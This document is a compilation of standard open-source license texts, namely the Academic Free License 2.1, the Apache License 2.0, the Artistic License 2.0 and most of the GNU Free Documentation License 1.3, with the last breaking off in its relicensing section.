

## The Academic Free License, v. 2.1

This Academic Free License (the "License") applies to any original work of authorship (the "Original Work") whose owner (the "Licensor") has placed the following notice immediately following the copyright notice for the Original Work

Licensed under the Academic Free License version 2.1

1) Grant of Copyright License. Licensor hereby grants You a world-wide, royalty-free, non-exclusive, perpetual, sublicenseable license to do the following:

- a) to reproduce the Original Work in copies;
- b) to prepare derivative works ("Derivative Works") based upon the Original Work;
- c) to distribute copies of the Original Work and Derivative Works to the public;
- d) to perform the Original Work publicly; and
- e) to display the Original Work publicly.

2) Grant of Patent License. Licensor hereby grants You a world-wide, royalty-free, non-exclusive, perpetual, sublicenseable license, under patent claims owned or controlled by the Licensor that are embodied in the Original Work as furnished by the Licensor, to make, use, sell and offer for sale the Original Work and Derivative Works.

3) Grant of Source Code License. The term "Source Code" means the preferred form of the Original Work for making modifications to it and all available documentation describing how to modify the Original Work. Licensor hereby agrees to provide a machine-readable copy of the Source Code of the Original Work along with each copy of the Original Work that Licensor distributes. Licensor reserves the right to satisfy this obligation by placing a machine-readable copy of the Source Code in an information repository reasonably calculated to permit inexpensive and convenient access by You for as long as Licensor continues to distribute the Original Work, and by publishing the address of that information repository in a notice immediately following the copyright notice that applies to the Original Work.

4) Exclusions From License Grant. Neither the names of Licensor, nor the names of any contributors to the Original Work, nor any of their trademarks or service marks, may be used to endorse or promote products derived from this Original Work without express prior written permission of the Licensor. Nothing in this License shall be deemed to grant any rights to trademarks, copyrights, patents, trade secrets or any other intellectual property of Licensor except as expressly stated herein. No patent license is granted to make, use, sell or offer to sell embodiments of any patent claims other than the licensed claims defined in Section 2. No right is granted to the trademarks of Licensor even if such marks are included in the Original Work. Nothing in this License shall be interpreted to prohibit Licensor from licensing under different terms from this License any Original Work that Licensor otherwise would have a right to license.

5) This section intentionally omitted.

6) Attribution Rights. You must retain, in the Source Code of any Derivative Works that You create, all copyright, patent or trademark notices from the Source Code of the Original Work, as well as any notices of licensing and any descriptive text identified therein as an "Attribution Notice." You must cause the Source Code for any Derivative Works that You create to carry a prominent Attribution Notice reasonably calculated to inform recipients that You have modified the Original Work.

7) Warranty of Provenance and Disclaimer of Warranty. Licensor warrants that the copyright in and to the Original Work and the patent rights granted herein by Licensor are owned by the Licensor or are sublicensed to You under the terms of this License with the permission of the contributor(s) of those copyrights and patent rights. Except as expressly stated in the immediately preceding sentence, the Original Work is provided under this License on an "AS IS" BASIS and WITHOUT WARRANTY, either express or implied, including, without limitation, the warranties of NON-INFRINGEMENT, MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY OF THE ORIGINAL WORK IS WITH YOU. This DISCLAIMER OF WARRANTY constitutes an essential part of this License. No license to Original Work is granted hereunder except under this disclaimer.

8) Limitation of Liability. Under no circumstances and under no legal theory, whether in tort (including negligence), contract, or otherwise, shall the Licensor be liable to any person for any direct, indirect, special, incidental, or consequential damages of any character arising as a result of this License or the use of the Original Work including, without limitation, damages for loss of goodwill, work stoppage, computer failure or malfunction, or any and all other commercial damages or losses. This limitation of liability shall not apply to liability for death or personal injury resulting from Licensor's negligence to the extent applicable law prohibits such limitation. Some jurisdictions do not allow the exclusion or limitation of incidental or consequential damages, so this exclusion and limitation may not apply to You.

9) Acceptance and Termination. If You distribute copies of the Original Work or a Derivative Work, You must make a reasonable effort under the circumstances to obtain the express assent of recipients to the terms of this License. Nothing else but this License (or another written agreement between Licensor and You) grants You permission to create Derivative Works based upon the Original Work or to exercise any of the rights granted in Section 1 herein, and any attempt to do so except under the terms of this License (or another written agreement between Licensor and You) is expressly prohibited by U.S. copyright law, the equivalent laws of other countries, and by international treaty. Therefore, by exercising any of the rights granted to You in Section 1 herein, You indicate Your acceptance of this License and all of its terms and conditions.

10) Termination for Patent Action. This License shall terminate automatically and You may no longer exercise any of the rights granted to You by this License as of the date You commence an action, including a cross-claim or counterclaim, against Licensor or any licensee alleging that the Original Work infringes a patent. This termination provision shall not apply for an action alleging patent infringement by combinations of the Original Work with other software or hardware.

11) Jurisdiction, Venue and Governing Law. Any action or suit relating to this License may be brought only in the courts of a jurisdiction wherein the Licensor resides or in which Licensor conducts its primary business, and under the laws of that jurisdiction excluding its conflict-of-law provisions. The application of the United Nations Convention on Contracts for the International Sale of Goods is expressly excluded. Any use of the Original Work outside the scope of this License or after its termination shall be subject to the requirements and penalties of the U.S. Copyright Act, 17 U.S.C. Â§ 101 et seq., the equivalent laws of other countries, and international treaty. This section shall survive the termination of this License.

12) Attorneys Fees. In any action to enforce the terms of this License or seeking damages relating thereto, the prevailing party shall be entitled to recover its costs and expenses, including, without limitation, reasonable attorneys' fees and costs incurred in connection with such action, including any appeal of such action. This section shall survive the termination of this License.

13) Miscellaneous. This License represents the complete agreement concerning the subject matter hereof. If any provision of this License is held to be unenforceable, such provision shall be reformed only to the extent necessary to make it enforceable.

14) Definition of "You" in This License. "You" throughout this License, whether in upper or lower case, means an individual or a legal entity exercising rights under, and complying with all of the terms of, this License. For legal entities, "You" includes any entity that controls, is controlled by, or is under common control with you. For purposes of this definition, "control" means (i) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (ii) ownership of fifty percent (50%) or more of the outstanding shares, or (iii) beneficial ownership of such entity.

15) Right to Use. You may use the Original Work in all ways not otherwise restricted or conditioned by this License or by law, and Licensor promises not to interfere with or be responsible for such uses by You. This license is Copyright (C) 2003-2004 Lawrence E. Rosen. All rights reserved. Permission is hereby granted to copy and distribute this license without modification. This license may not be modified without the express written permission of its copyright owner.

Apache Software License 2.0

Version 2.0, January 2004

## Terms and Conditions for Use, Reproduction, and Distribution

### 1. Definitions.

'License' shall mean the terms and conditions for use, reproduction, and distribution as defined by Sections 1 through 9 of this document.

'Licensor' shall mean the copyright owner or entity authorized by the copyright owner that is granting the License.

'Legal Entity' shall mean the union of the acting entity and all other entities that control, are controlled by, or are under common control with that entity. For the purposes of this definition, 'control' means (i) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (ii) ownership of fifty percent (50%) or more of the outstanding shares, or (iii) beneficial ownership of such entity.

'You' (or 'Your') shall mean an individual or Legal Entity exercising permissions granted by this License.

'Source' form shall mean the preferred form for making modifications, including but not limited to software source code, documentation source, and configuration files.

'Object' form shall mean any form resulting from mechanical transformation or translation of a Source form, including but not limited to compiled object code, generated documentation, and conversions to other media types.

'Work' shall mean the work of authorship, whether in Source or Object form, made available under the License, as indicated by a copyright notice that is included in or attached to the work (an example is provided in the Appendix below).

'Derivative Works' shall mean any work, whether in Source or Object form, that is based on (or derived from) the Work and for which the editorial revisions, annotations, elaborations, or other modifications represent, as a whole, an original work of authorship. For the purposes of this License, Derivative Works shall not include works that remain separable from, or merely link (or bind by name) to the interfaces of, the Work and Derivative Works thereof.

'Contribution' shall mean any work of authorship, including the original version of the Work and any modifications or additions to that Work or Derivative Works thereof, that is intentionally submitted to Licensor for inclusion in the Work by the copyright owner or by an individual or Legal Entity authorized to submit on behalf of the copyright owner. For the purposes of this definition, 'submitted' means any form of electronic, verbal, or written communication sent to the Licensor or its representatives, including but not limited to communication on electronic mailing lists, source code control systems, and issue tracking systems that are managed by, or on behalf of, the Licensor for the purpose of discussing

and improving the Work, but excluding communication that is conspicuously marked or otherwise designated in writing by the copyright owner as 'Not a Contribution.'

'Contributor' shall mean Licensor and any individual or Legal Entity on behalf of whom a Contribution has been received by Licensor and subsequently incorporated within the Work.

2. Grant of Copyright License. Subject to the terms and conditions of this License, each Contributor hereby grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable copyright license to reproduce, prepare Derivative Works of, publicly display, publicly perform, sublicense, and distribute the Work and such Derivative Works in Source or Object form.

3. Grant of Patent License. Subject to the terms and conditions of this License, each Contributor hereby grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable (except as stated in this section) patent license to make, have made, use, offer to sell, sell, import, and otherwise transfer the Work, where such license applies only to those patent claims licensable by such Contributor that are necessarily infringed by their Contribution(s) alone or by combination of their Contribution(s) with the Work to which such Contribution(s) was submitted. If You institute patent litigation against any entity (including a cross-claim or counterclaim in a lawsuit) alleging that the Work or a Contribution incorporated within the Work constitutes direct or contributory patent infringement, then any patent licenses granted to You under this License for that Work shall terminate as of the date such litigation is filed.

4. Redistribution. You may reproduce and distribute copies of the Work or Derivative Works thereof in any medium, with or without modifications, and in Source or Object form, provided that You meet the following conditions:

You must give any other recipients of the Work or Derivative Works a copy of this License; and

You must cause any modified files to carry prominent notices stating that You changed the files; and

You must retain, in the Source form of any Derivative Works that You distribute, all copyright, patent, trademark, and attribution notices from the Source form of the Work, excluding those notices that do not pertain to any part of the Derivative Works; and

If the Work includes a 'NOTICE' text file as part of its distribution, then any Derivative Works that You distribute must include a readable copy of the attribution notices contained within such NOTICE file, excluding those notices that do not pertain to any part of the Derivative Works, in at least one of the following places: within a NOTICE text file distributed as part of the Derivative Works; within the Source form or documentation, if provided along with the Derivative Works; or, within a display generated by the Derivative Works, if and wherever such third-party notices normally appear. The contents of the NOTICE file are for informational purposes only and do not modify the License. You may add Your own attribution notices within Derivative Works that You distribute, alongside or as an addendum to the NOTICE text from the Work, provided that such additional attribution notices cannot be construed as modifying the License.

You may add Your own copyright statement to Your modifications and may provide additional or different license terms and conditions for use, reproduction, or distribution of Your modifications, or for any such Derivative Works as a whole, provided Your use, reproduction, and distribution of the Work otherwise complies with the conditions stated in this License.

5. Submission of Contributions. Unless You explicitly state otherwise, any Contribution intentionally submitted for inclusion in the Work by You to the Licensor shall be under the terms and conditions of this License, without any additional terms or conditions. Notwithstanding the above, nothing herein shall supersede or modify the terms of any separate license agreement you may have executed with Licensor regarding such Contributions.

6. Trademarks. This License does not grant permission to use the trade names, trademarks, service marks, or product names of the Licensor, except as required for reasonable and customary use in describing the origin of the Work and reproducing the content of the NOTICE file.

7. Disclaimer of Warranty. Unless required by applicable law or agreed to in writing, Licensor provides the Work (and each Contributor provides its Contributions) on an 'AS IS' BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied, including, without limitation, any warranties or conditions of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A PARTICULAR PURPOSE. You are solely responsible for determining the appropriateness of using or redistributing the Work and assume any risks associated with Your exercise of permissions under this License.

8. Limitation of Liability. In no event and under no legal theory, whether in tort (including negligence), contract, or otherwise, unless required by applicable law (such as deliberate and grossly negligent acts) or agreed to in writing, shall any Contributor be liable to You for damages, including any direct, indirect, special, incidental, or consequential damages of any character arising as a result of this License or out of the use or inability to use the Work (including but not limited to damages for loss of goodwill, work stoppage, computer failure or malfunction, or any and all other commercial damages or losses), even if such Contributor has been advised of the possibility of such damages.

9. Accepting Warranty or Additional Liability.

While redistributing the Work or Derivative Works thereof, You may choose to offer, and charge a fee for, acceptance of support, warranty, indemnity, or other liability obligations and/or rights consistent with this License. However, in accepting such obligations, You may act only on Your own behalf and on Your sole responsibility, not on behalf of any other Contributor, and only if You agree to indemnify, defend, and hold each Contributor harmless for any liability incurred by, or claims asserted against, such Contributor by reason of your accepting any such warranty or additional liability.

END OF TERMS AND CONDITIONS

APPENDIX: How to apply the Apache License to your work.

To apply the Apache License to your work, attach the following boilerplate notice, with the fields enclosed by brackets '[]' replaced with your own identifying information. (Don't include the brackets!)

The text should be enclosed in the appropriate comment syntax for the file format. We also recommend that a file or class name and description of purpose be included on the same 'printed page' as the copyright notice for easier identification within third-party archives.

Copyright [yyyy] [name of copyright owner]

Licensed under the Apache License, Version 2.0 (the 'License'); you may not use this file except in compliance with the License. You may obtain a copy of the License at

<http://www.apache.org/licenses/LICENSE-2.0>

Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an 'AS IS' BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License.

Artistic License 2.0

Copyright (c) 2000-2006, The Perl Foundation.

Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.

Preamble

This license establishes the terms under which a given free software Package may be copied, modified, distributed, and/or redistributed. The intent is that the Copyright Holder maintains some artistic control over the development of that Package while still keeping the Package available as open source and free software.

You are always permitted to make arrangements wholly outside of this license directly with the Copyright Holder of a given Package. If the terms of this license do not permit the full use that you propose to make of the Package, you should contact the Copyright Holder and seek a different licensing arrangement.

## Definitions

"Copyright Holder" means the individual(s) or organization(s) named in the copyright notice for the entire Package.

"Contributor" means any party that has contributed code or other material to the Package, in accordance with the Copyright Holder's procedures.

"You" and "your" means any person who would like to copy, distribute, or modify the Package.

"Package" means the collection of files distributed by the Copyright Holder, and derivatives of that collection and/or of those files. A given Package may consist of either the Standard Version, or a Modified Version.

"Distribute" means providing a copy of the Package or making it accessible to anyone else, or in the case of a company or organization, to others outside of your company or organization.

"Distributor Fee" means any fee that you charge for Distributing this Package or providing support for this Package to another party. It does not mean licensing fees.

"Standard Version" refers to the Package if it has not been modified, or has been modified only in ways explicitly requested by the Copyright Holder.

"Modified Version" means the Package, if it has been changed, and such changes were not explicitly requested by the Copyright Holder.

"Original License" means this Artistic License as Distributed with the Standard Version of the Package, in its current version or as it may be modified by The Perl Foundation in the future.

"Source" form means the source code, documentation source, and configuration files for the Package.

"Compiled" form means the compiled bytecode, object code, binary, or any other form resulting from mechanical transformation or translation of the Source form.

## Permission for Use and Modification Without Distribution

(1) You are permitted to use the Standard Version and create and use Modified Versions for any purpose without restriction, provided that you do not Distribute the Modified Version.

## Permissions for Redistribution of the Standard Version

(2) You may Distribute verbatim copies of the Source form of the Standard Version of this Package in any medium without restriction, either gratis or for a Distributor Fee, provided that you duplicate all of the original copyright notices and associated disclaimers. At your discretion, such verbatim copies may or may not include a Compiled form of the Package.

(3) You may apply any bug fixes, portability changes, and other modifications made available from the Copyright Holder. The resulting Package will still be considered the Standard Version, and as such will be subject to the Original License.

#### Distribution of Modified Versions of the Package as Source

(4) You may Distribute your Modified Version as Source (either gratis or for a Distributor Fee, and with or without a Compiled form of the Modified Version) provided that you clearly document how it differs from the Standard Version, including, but not limited to, documenting any non-standard features, executables, or modules, and provided that you do at least ONE of the following:

(a) make the Modified Version available to the Copyright Holder of the Standard Version, under the Original License, so that the Copyright Holder may include your modifications in the Standard Version.

(b) ensure that installation of your Modified Version does not prevent the user installing or running the Standard Version. In addition, the Modified Version must bear a name that is different from the name of the Standard Version.

(c) allow anyone who receives a copy of the Modified Version to make the Source form of the Modified Version available to others under

(i) the Original License or

(ii) a license that permits the licensee to freely copy, modify and redistribute the Modified Version using the same licensing terms that apply to the copy that the licensee received, and requires that the Source form of the Modified Version, and of any works derived from it, be made freely available in that license fees are prohibited but Distributor Fees are allowed.

#### Distribution of Compiled Forms of the Standard Version or Modified Versions without the Source

(5) You may Distribute Compiled forms of the Standard Version without the Source, provided that you include complete instructions on how to get the Source of the Standard Version. Such instructions must be valid at the time of your distribution. If these instructions, at any time while you are carrying out such distribution, become invalid, you must provide new instructions on demand or cease further distribution. If you provide valid instructions or cease distribution within thirty days after you become aware that the instructions are invalid, then you do not forfeit any of your rights under this license.

(6) You may Distribute a Modified Version in Compiled form without the Source, provided that you comply with Section 4 with respect to the Source of the Modified Version.

#### Aggregating or Linking the Package

(7) You may aggregate the Package (either the Standard Version or Modified Version) with other packages and Distribute the resulting aggregation provided that you do not charge a licensing fee for the Package. Distributor Fees are permitted, and licensing fees for other components in the aggregation are permitted. The terms of this license apply to the use and Distribution of the Standard or Modified Versions as included in the aggregation.

(8) You are permitted to link Modified and Standard Versions with other works, to embed the Package in a larger work of your own, or to build stand-alone binary or bytecode versions of applications that include the Package, and Distribute the result without restriction, provided the result does not expose a direct interface to the Package.

#### Items That are Not Considered Part of a Modified Version

(9) Works (including, but not limited to, modules and scripts) that merely extend or make use of the Package, do not, by themselves, cause the Package to be a Modified Version. In addition, such works are not considered parts of the Package itself, and are not subject to the terms of this license.

#### General Provisions

(10) Any use, modification, and distribution of the Standard or Modified Versions is governed by this Artistic License. By using, modifying or distributing the Package, you accept this license. Do not use, modify, or distribute the Package, if you do not accept this license.

(11) If your Modified Version has been derived from a Modified Version made by someone other than you, you are nevertheless required to ensure that your Modified Version complies with the requirements of this license.

(12) This license does not grant you the right to use any trademark, service mark, tradename, or logo of the Copyright Holder.

(13) This license includes the non-exclusive, worldwide, free-of-charge patent license to make, have made, use, offer to sell, sell, import and otherwise transfer the Package with respect to any patent claims licensable by the Copyright Holder that are necessarily infringed by the Package. If you institute patent litigation (including a cross-claim or counterclaim) against any party alleging that the Package constitutes direct or contributory patent infringement, then this Artistic License to you shall terminate on the date that such litigation is filed.

(14) Disclaimer of Warranty: THE PACKAGE IS PROVIDED BY THE COPYRIGHT HOLDER AND CONTRIBUTORS "AS IS" AND WITHOUT ANY EXPRESS OR IMPLIED WARRANTIES. THE IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, OR NON-INFRINGEMENT

ARE DISCLAIMED TO THE EXTENT PERMITTED BY YOUR LOCAL LAW. UNLESS REQUIRED BY LAW, NO COPYRIGHT HOLDER OR CONTRIBUTOR WILL BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL DAMAGES ARISING IN ANY WAY OUT OF THE USE OF THE PACKAGE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

GNU Free Documentation License

Version 1.3, 3 November 2008

Copyright © 2000, 2001, 2002, 2007, 2008 Free Software Foundation, Inc.  
<<http://fsf.org/>>

Everyone is permitted to copy and distribute verbatim copies  
of this license document, but changing it is not allowed.

## 0. PREAMBLE

The purpose of this License is to make a manual, textbook, or other functional and useful document "free" in the sense of freedom: to assure everyone the effective freedom to copy and redistribute it, with or without modifying it, either commercially or noncommercially. Secondly, this License preserves for the author and publisher a way to get credit for their work, while not being considered responsible for modifications made by others.

This License is a kind of "copyleft", which means that derivative works of the document must themselves be free in the same sense. It complements the GNU General Public License, which is a copyleft license designed for free software.

We have designed this License in order to use it for manuals for free software, because free software needs free documentation: a free program should come with manuals providing the same freedoms that the software does. But this License is not limited to software manuals;

it can be used for any textual work, regardless of subject matter or whether it is published as a printed book. We recommend this License principally for works whose purpose is instruction or reference.

## 1. APPLICABILITY AND DEFINITIONS

This License applies to any manual or other work, in any medium, that contains a notice placed by the copyright holder saying it can be distributed under the terms of this License. Such a notice grants a world-wide, royalty-free license, unlimited in duration, to use that work under the conditions stated herein. The "Document", below, refers to any such manual or work. Any member of the public is a licensee, and is addressed as "you". You accept the license if you copy, modify or distribute the work in a way requiring permission under copyright law.

A "Modified Version" of the Document means any work containing the Document or a portion of it, either copied verbatim, or with modifications and/or translated into another language.

A "Secondary Section" is a named appendix or a front-matter section of the Document that deals exclusively with the relationship of the publishers or authors of the Document to the Document's overall subject (or to related matters) and contains nothing that could fall directly within that overall subject. (Thus, if the Document is in part a textbook of mathematics, a Secondary Section may not explain any mathematics.) The relationship could be a matter of historical connection with the subject or with related matters, or of legal, commercial, philosophical, ethical or political position regarding them.

The "Invariant Sections" are certain Secondary Sections whose titles are designated, as being those of Invariant Sections, in the notice that says that the Document is released under this License. If a section does not fit the above definition of Secondary then it is not allowed to be designated as Invariant. The Document may contain zero Invariant Sections. If the Document does not identify any Invariant Sections then there are none.

The "Cover Texts" are certain short passages of text that are listed, as Front-Cover Texts or Back-Cover Texts, in the notice that says that the Document is released under this License. A Front-Cover Text may be at most 5 words, and a Back-Cover Text may be at most 25 words.

A "Transparent" copy of the Document means a machine-readable copy, represented in a format whose specification is available to the general public, that is suitable for revising the document straightforwardly with generic text editors or (for images composed of pixels) generic paint programs or (for drawings) some widely available drawing editor, and that is suitable for input to text formatters or for automatic translation to a variety of formats suitable for input to text formatters. A copy made in an otherwise Transparent file format whose markup, or absence of markup, has been arranged to thwart or discourage subsequent modification by readers is not Transparent. An image format is not Transparent if used for any substantial amount of text. A copy that is not "Transparent" is called "Opaque".

Examples of suitable formats for Transparent copies include plain ASCII without markup, Texinfo input format, LaTeX input format, SGML or XML using a publicly available DTD, and standard-conforming simple HTML, PostScript or PDF designed for human modification. Examples of transparent image formats include PNG, XCF and JPG. Opaque formats include proprietary formats that can be read and edited only by proprietary word processors, SGML or XML for which the DTD and/or processing tools are not generally available, and the machine-generated HTML, PostScript or PDF produced by some word processors for output purposes only.

The "Title Page" means, for a printed book, the title page itself, plus such following pages as are needed to hold, legibly, the material this License requires to appear in the title page. For works in formats which do not have any title page as such, "Title Page" means the text near the most prominent appearance of the work's title, preceding the beginning of the body of the text.

The "publisher" means any person or entity that distributes copies of the Document to the public.

A section "Entitled XYZ" means a named subunit of the Document whose title either is precisely XYZ or contains XYZ in parentheses following text that translates XYZ in another language. (Here XYZ stands for a specific section name mentioned below, such as "Acknowledgements", "Dedications", "Endorsements", or "History".) To "Preserve the Title" of such a section when you modify the Document means that it remains a section "Entitled XYZ" according to this definition.

The Document may include Warranty Disclaimers next to the notice which states that this License applies to the Document. These Warranty Disclaimers are considered to be included by reference in this License, but only as regards disclaiming warranties: any other implication that these Warranty Disclaimers may have is void and has no effect on the meaning of this License.

## 2. VERBATIM COPYING

You may copy and distribute the Document in any medium, either commercially or noncommercially, provided that this License, the copyright notices, and the license notice saying this License applies to the Document are reproduced in all copies, and that you add no other conditions whatsoever to those of this License. You may not use technical measures to obstruct or control the reading or further copying of the copies you make or distribute. However, you may accept compensation in exchange for copies. If you distribute a large enough number of copies you must also follow the conditions in section 3.

You may also lend copies, under the same conditions stated above, and you may publicly display copies.

## 3. COPYING IN QUANTITY

If you publish printed copies (or copies in media that commonly have printed covers) of the Document, numbering more than 100, and the Document's license notice requires Cover Texts, you must enclose the copies in covers that carry, clearly and legibly, all these Cover Texts: Front-Cover Texts on the front cover, and Back-Cover Texts on the back cover. Both covers must also clearly and legibly identify you as the publisher of these copies. The front cover must present the full title with all words of the title equally prominent and visible. You may add other material on the covers in addition. Copying with changes limited to the covers, as long as they preserve the title of the Document and satisfy these conditions, can be treated as verbatim copying in other respects.

If the required texts for either cover are too voluminous to fit legibly, you should put the first ones listed (as many as fit reasonably) on the actual cover, and continue the rest onto adjacent pages.

If you publish or distribute Opaque copies of the Document numbering more than 100, you must either include a machine-readable Transparent

copy along with each Opaque copy, or state in or with each Opaque copy a computer-network location from which the general network-using public has access to download using public-standard network protocols a complete Transparent copy of the Document, free of added material. If you use the latter option, you must take reasonably prudent steps, when you begin distribution of Opaque copies in quantity, to ensure that this Transparent copy will remain thus accessible at the stated location until at least one year after the last time you distribute an Opaque copy (directly or through your agents or retailers) of that edition to the public.

It is requested, but not required, that you contact the authors of the Document well before redistributing any large number of copies, to give them a chance to provide you with an updated version of the Document.

#### 4. MODIFICATIONS

You may copy and distribute a Modified Version of the Document under the conditions of sections 2 and 3 above, provided that you release the Modified Version under precisely this License, with the Modified Version filling the role of the Document, thus licensing distribution and modification of the Modified Version to whoever possesses a copy of it. In addition, you must do these things in the Modified Version:

Use in the Title Page (and on the covers, if any) a title distinct from that of the Document, and from those of previous versions (which should, if there were any, be listed in the History section of the Document). You may use the same title as a previous version if the original publisher of that version gives permission.

List on the Title Page, as authors, one or more persons or entities responsible for authorship of the modifications in the Modified Version, together with at least five of the principal authors of the Document (all of its principal authors, if it has fewer than five), unless they release you from this requirement.

State on the Title page the name of the publisher of the Modified Version, as the publisher.

Preserve all the copyright notices of the Document.

Add an appropriate copyright notice for your modifications adjacent to the other copyright notices.

Include, immediately after the copyright notices, a license notice giving the public permission to use the Modified Version under the terms of this License, in the form shown in the Addendum below.

Preserve in that license notice the full lists of Invariant Sections and required Cover Texts given in the Document's license notice.

Include an unaltered copy of this License.

Preserve the section Entitled "History", Preserve its Title, and add to it an item stating at least the title, year, new authors, and publisher of the Modified Version as given on the Title Page. If there is no section Entitled "History" in the Document, create one stating the title, year, authors, and publisher of the Document as given on its Title Page, then add an item describing the Modified Version as stated in the previous sentence.

Preserve the network location, if any, given in the Document for public access to a Transparent copy of the Document, and likewise the network locations given in the Document for previous versions it was based on. These may be placed in the "History" section. You may omit a network location for a work that was published at least four years before the Document itself, or if the original publisher of the version it refers to gives permission.

For any section Entitled "Acknowledgements" or "Dedications", Preserve the Title of the section, and preserve in the section all the substance and tone of each of the contributor acknowledgements and/or dedications given therein.

Preserve all the Invariant Sections of the Document, unaltered in their text and in their titles. Section numbers or the equivalent are not considered part of the section titles.

Delete any section Entitled "Endorsements". Such a section may not be included in the Modified Version.

Do not retitle any existing section to be Entitled "Endorsements" or to conflict in title with any Invariant Section.

Preserve any Warranty Disclaimers.

If the Modified Version includes new front-matter sections or appendices that qualify as Secondary Sections and contain no material copied from the Document, you may at your option designate some or all

of these sections as invariant. To do this, add their titles to the list of Invariant Sections in the Modified Version's license notice. These titles must be distinct from any other section titles.

You may add a section Entitled "Endorsements", provided it contains nothing but endorsements of your Modified Version by various parties—for example, statements of peer review or that the text has been approved by an organization as the authoritative definition of a standard.

You may add a passage of up to five words as a Front-Cover Text, and a passage of up to 25 words as a Back-Cover Text, to the end of the list of Cover Texts in the Modified Version. Only one passage of Front-Cover Text and one of Back-Cover Text may be added by (or through arrangements made by) any one entity. If the Document already includes a cover text for the same cover, previously added by you or by arrangement made by the same entity you are acting on behalf of, you may not add another; but you may replace the old one, on explicit permission from the previous publisher that added the old one.

The author(s) and publisher(s) of the Document do not by this License give permission to use their names for publicity for or to assert or imply endorsement of any Modified Version.

## 5. COMBINING DOCUMENTS

You may combine the Document with other documents released under this License, under the terms defined in section 4 above for modified versions, provided that you include in the combination all of the Invariant Sections of all of the original documents, unmodified, and list them all as Invariant Sections of your combined work in its license notice, and that you preserve all their Warranty Disclaimers.

The combined work need only contain one copy of this License, and multiple identical Invariant Sections may be replaced with a single copy. If there are multiple Invariant Sections with the same name but different contents, make the title of each such section unique by adding at the end of it, in parentheses, the name of the original author or publisher of that section if known, or else a unique number. Make the same adjustment to the section titles in the list of Invariant Sections in the license notice of the combined work.

In the combination, you must combine any sections Entitled "History" in the various original documents, forming one section Entitled

"History"; likewise combine any sections Entitled "Acknowledgements", and any sections Entitled "Dedications". You must delete all sections Entitled "Endorsements".

## 6. COLLECTIONS OF DOCUMENTS

You may make a collection consisting of the Document and other documents released under this License, and replace the individual copies of this License in the various documents with a single copy that is included in the collection, provided that you follow the rules of this License for verbatim copying of each of the documents in all other respects.

You may extract a single document from such a collection, and distribute it individually under this License, provided you insert a copy of this License into the extracted document, and follow this License in all other respects regarding verbatim copying of that document.

## 7. AGGREGATION WITH INDEPENDENT WORKS

A compilation of the Document or its derivatives with other separate and independent documents or works, in or on a volume of a storage or distribution medium, is called an "aggregate" if the copyright resulting from the compilation is not used to limit the legal rights of the compilation's users beyond what the individual works permit. When the Document is included in an aggregate, this License does not apply to the other works in the aggregate which are not themselves derivative works of the Document.

If the Cover Text requirement of section 3 is applicable to these copies of the Document, then if the Document is less than one half of the entire aggregate, the Document's Cover Texts may be placed on covers that bracket the Document within the aggregate, or the electronic equivalent of covers if the Document is in electronic form. Otherwise they must appear on printed covers that bracket the whole aggregate.

## 8. TRANSLATION

Translation is considered a kind of modification, so you may distribute translations of the Document under the terms of section 4. Replacing Invariant Sections with translations requires special permission from their copyright holders, but you may include

translations of some or all Invariant Sections in addition to the original versions of these Invariant Sections. You may include a translation of this License, and all the license notices in the Document, and any Warranty Disclaimers, provided that you also include the original English version of this License and the original versions of those notices and disclaimers. In case of a disagreement between the translation and the original version of this License or a notice or disclaimer, the original version will prevail.

If a section in the Document is Entitled "Acknowledgements", "Dedications", or "History", the requirement (section 4) to Preserve its Title (section 1) will typically require changing the actual title.

## 9. TERMINATION

You may not copy, modify, sublicense, or distribute the Document except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense, or distribute it is void, and will automatically terminate your rights under this License.

However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation.

Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice.

Termination of your rights under this section does not terminate the licenses of parties who have received copies or rights from you under this License. If your rights have been terminated and not permanently reinstated, receipt of a copy of some or all of the same material does not give you any rights to use it.

## 10. FUTURE REVISIONS OF THIS LICENSE

The Free Software Foundation may publish new, revised versions of the GNU Free Documentation License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. See <http://www.gnu.org/copyleft/>.

Each version of the License is given a distinguishing version number. If the Document specifies that a particular numbered version of this License "or any later version" applies to it, you have the option of following the terms and conditions either of that specified version or of any later version that has been published (not as a draft) by the Free Software Foundation. If the Document does not specify a version number of this License, you may choose any version ever published (not as a draft) by the Free Software Foundation. If the Document specifies that a proxy can decide which future versions of this License can be used, that proxy's public statement of acceptance of a version permanently authorizes you to choose that version for the Document.

## 11. RELICENSING

"Massive Multiauthor Collaboration Site" (or "MMC Site") means any World Wide Web server that publishes copyrightable works and also provides prominent facilities for anybody to edit those works. A public wiki that anybody can edit is an example of such a server. A "Massive Multiauthor Collaboration" (or "MMC") contained in the site means any set of copyrightable works thus published on the MMC site.

"CC-BY-SA" means the Creative Commons Attribution-Share Alike 3.0 license published by Creative Commons Corporation, a not-for-profit corporation with a principal place of business in San Francisco, California, as well as future copyleft versions of that license published by that same organization.

"Incorporate" means to publish or republish a Document, in whole or in part, as part of another Document.

An MMC is "eligible for relicensing" if it is licensed under this License, and if all works that were first published under this License somewhere other than this MMC, and subsequently incorporated in whole or in part into the MMC, (1) had no cover texts or invariant sections, and (2) were thus incorporated prior to November 1, 2008.

